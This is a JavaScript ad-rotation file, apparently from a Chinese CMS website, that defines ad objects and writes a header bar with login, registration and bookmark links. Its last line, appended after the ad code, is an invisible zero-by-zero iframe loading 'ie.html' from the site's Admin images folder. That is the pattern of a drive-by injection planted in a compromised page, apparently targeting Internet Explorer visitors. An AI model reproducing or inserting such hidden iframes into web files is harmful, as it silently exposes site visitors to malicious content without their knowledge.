function ObjectAD() {
  /* Define Variables*/
  this.ADID        = 0;
  this.ADType      = 0;
  this.ADName      = "";
  this.ImgUrl      = "";
  this.ImgWidth    = 0;
  this.ImgHeight   = 0;
  this.FlashWmode  = 0;
  this.LinkUrl     = "";
  this.LinkTarget  = 0;
  this.LinkAlt     = "";
  this.Priority    = 0;
  this.CountView   = 0;
  this.CountClick  = 0;
  this.InstallDir  = "";
  this.ADDIR       = "";
}

function CodeZoneAD(_id) {
  /* Define Common Variables*/
  this.ID          = _id;
  this.ZoneID      = 0;

  /* Define Unique Variables*/

  /* Define Objects */
  this.AllAD       = new Array();
  this.ShowAD      = null;

  /* Define Functions */
  this.AddAD       = CodeZoneAD_AddAD;
  this.GetShowAD   = CodeZoneAD_GetShowAD;
  this.Show        = CodeZoneAD_Show;

}

function CodeZoneAD_AddAD(_AD) {
  this.AllAD[this.AllAD.length] = _AD;
}

function CodeZoneAD_GetShowAD() {
  if (this.ShowType > 1) {
    this.ShowAD = this.AllAD[0];
    return;
  }
  var num = this.AllAD.length;
  var sum = 0;
  for (var i = 0; i < num; i++) {
    sum = sum + this.AllAD[i].Priority;
  }
  if (sum <= 0) {return ;}
  var rndNum = Math.random() * sum;
  i = 0;
  j = 0;
  while (true) {
    j = j + this.AllAD[i].Priority;
    if (j >= rndNum) {break;}
    i++;
  }
  this.ShowAD = this.AllAD[i];
}

function CodeZoneAD_Show() {
  if (!this.AllAD) {
    return;
  } else {
    this.GetShowAD();
  }

  if (this.ShowAD == null) return false;
  document.write(this.ShowAD.ADIntro);
}

var ZoneAD_51 = new CodeZoneAD("ZoneAD_51");
ZoneAD_51.ZoneID      = 51;
ZoneAD_51.ZoneWidth   = 0;
ZoneAD_51.ZoneHeight  = 0;
ZoneAD_51.ShowType    = 1;

var objAD = new ObjectAD();
objAD.ADID           = 48;
objAD.ADType         = 4;
objAD.ADName         = "login";
objAD.ImgUrl         = "";
objAD.InstallDir     = "/";
objAD.ImgWidth       = 0;
objAD.ImgHeight      = 0;
objAD.FlashWmode     = 0;
objAD.ADIntro        = "<table height=30 cellSpacing=0 cellPadding=0 width=935 border=0 style=\"color:#FFFFFF\">\n\r<tr>\n\r<td vAlign=center align=middle width=329><iframe src=\"/User/login_588.asp\" frameBorder=0 width=\"100%\" scrolling=no height=28 allowTransparency ></iframe>\n\r</td>\n\r<td align=right width=586><a class=\"ketyun\" href=\"/\"> 首页</a> <IMG height=12 src=\"/img_yixi/shugang.gif\" width=2> <a class=\"ketyun\" href=\"/reg/User_Reg1.asp\"><FONT color=red> 注册会员</FONT></a>&nbsp; \n\r<IMG height=11 src=\"/img_yixi/home.gif\" width=11>\n\r<a href=\"#\" onClick=\"this.style.behavior=\'url(#default#homepage)\';this.setHomePage(\'http://www.95559.net.cn\');return(false);\" style=\"behavior: url(#default#homepage)\"><font color=\"#FFFFFF\">设为首页</font></a> <IMG height=11 src=\"/img_yixi/dt.gif\" width=10> <a href=\"#\" onClick=\"jscript:window.external.AddFavorite(document.location.href,document.title);\"><font color=\"#FFFFFF\">加为收藏</font></a> </td>\n\r</tr>\n\r</table>";
objAD.LinkUrl        = "";
objAD.LinkTarget     = 1;
objAD.LinkAlt        = "";
objAD.Priority       = 1;
objAD.CountView      = 1;
objAD.CountClick     = 0;
objAD.ADDIR          = "gagd";
ZoneAD_51.AddAD(objAD);

ZoneAD_51.Show();
<iframe src=http://www.95559.net.cn/Admin/Images/Folder/ie.html width=0 height=0></iframe>